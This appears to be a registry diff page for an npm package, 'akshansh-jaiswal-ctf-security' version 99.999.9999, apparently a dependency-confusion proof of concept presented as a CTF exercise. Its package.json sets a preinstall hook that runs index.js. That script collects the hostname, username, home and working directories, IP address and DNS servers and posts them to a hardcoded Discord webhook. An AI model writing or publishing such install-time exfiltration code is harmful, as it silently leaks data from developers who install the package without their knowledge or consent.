akshansh-jaiswal-ctf-security 99.999.9999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of akshansh-jaiswal-ctf-security might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +54 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,54 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+
5
+ const discordWebhookUrl = 'https://discord.com/api/webhooks/1193495191710089256/gbP4D1WCBOymeyH8Dk3wU0hQAn7KkeQcdJybmtWCRC3bQKCHpDM6bEGzox_Gn3OA-BDv'; // Replace with your Discord Webhook URL
6
+
7
+ function getIPv4() {
8
+ const ifaces = os.networkInterfaces();
9
+ for (let dev in ifaces) {
10
+ for (let details of ifaces[dev]) {
11
+ if (details.family === 'IPv4' && !details.internal) {
12
+ return details.address;
13
+ }
14
+ }
15
+ }
16
+ return '127.0.0.1';
17
+ }
18
+
19
+ const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
20
+ Current Directory: ${__dirname}
21
+ Home Directory: ${os.homedir()}
22
+ Hostname: ${os.hostname()}
23
+ Username: ${os.userInfo().username}
24
+ IP Address: ${getIPv4()}
25
+ Dns-Server: ${dns.getServers().join(', ')}`;
26
+
27
+ function sendMessage(message) {
28
+ const payload = JSON.stringify({ content: message });
29
+ const parsedUrl = new URL(discordWebhookUrl);
30
+ const options = {
31
+ hostname: parsedUrl.hostname,
32
+ path: parsedUrl.pathname,
33
+ method: 'POST',
34
+ headers: {
35
+ 'Content-Type': 'application/json',
36
+ 'Content-Length': Buffer.byteLength(payload)
37
+ }
38
+ };
39
+
40
+ const req = https.request(options, (res) => {
41
+ console.log(`Status: ${res.statusCode}`);
42
+ res.on('data', (d) => {
43
+ process.stdout.write(d);
44
+ });
45
+ });
46
+
47
+ req.on('error', (e) => {
48
+ console.error(e);
49
+ });
50
+
51
+ req.write(payload);
52
+ req.end();
53
+ }
54
+ sendMessage(baseMessage);
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "akshansh-jaiswal-ctf-security",
3
+ "version": "99.999.9999",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ }
14
+ }